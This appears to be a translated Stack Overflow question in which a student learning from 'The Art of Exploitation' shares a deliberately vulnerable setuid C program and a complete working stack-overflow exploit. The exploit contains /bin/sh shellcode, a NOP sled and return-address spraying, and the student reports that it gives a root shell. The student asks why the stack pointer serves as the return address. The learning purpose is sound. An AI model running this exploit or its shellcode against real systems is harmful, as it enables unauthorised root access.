我是一名计算机工程专业的学生,正在研究堆栈缓冲区溢出的工作原理。我正在阅读的书是 Jon Erickson 的 The Art of Exploitation(第 1 版)。为了练习我正在学习的内容,我在虚拟机中安装了 Damn Vulnerable Linux 发行版。我禁用了 ASRL (kernel.randomize_va_space = 0),我用GCC 3.4.6编译了以下代码,我正在使用GDB 6.6并且发行版的内核是2.6.20。我的电脑有一个英特尔处理器。易受攻击的程序 (test2) 由 root 创建并设置为 setuid。
易受攻击的代码如下:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
而由普通(非root)用户创建的利用代码如下:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
该程序有效,它利用了 test2 中的缓冲区溢出漏洞并给了我一个 root shell。我不明白的是,即使在多次阅读这本书并试图在互联网上找到答案之后,为什么我们存储在变量esp中的堆栈指针的值是我们的 shellcode 的返回地址。我已经用 GDB 反汇编了程序,一切都按作者所说的那样工作,但我不明白为什么会发生这种情况。
我本来想向您展示反汇编程序的外观以及执行期间内存的外观,但是我无法从虚拟机上的来宾计算机复制/粘贴,也不允许在我的问题中插入图像。所以我只能尝试描述在程序 main (在 test2 中利用 BOF)执行期间发生的情况:
反汇编main,我看到堆栈上分配了28个字节(7个变量* 4个字节)。然后调用函数 sp() 并将堆栈指针的值存储在esp中。存储在变量 esp 中的值是0xbffff344。然后,如您所见,我们有一些 printf,我们将有效负载存储在 buffer2 中,然后我们调用 execl 函数,将 buffer2 作为参数传递。
现在 root shell 出现了,然后程序退出了。设置不同的偏移量后反汇编程序,我可以清楚地看到0xbffff344正是test2执行时存储有效载荷的地址。你能解释一下这是怎么发生的吗?execl 是否为 test2 程序设置了新的堆栈帧?在 main.c 中,只有 28 个字节分配在堆栈上,而在 test2 中,500 个字节分配在堆栈上(用于 buffer2)。那么我怎么知道我在 main.c 中得到的堆栈指针正是 shellcode 的返回地址呢?
如果我写了一些愚蠢的东西,我感谢你并道歉。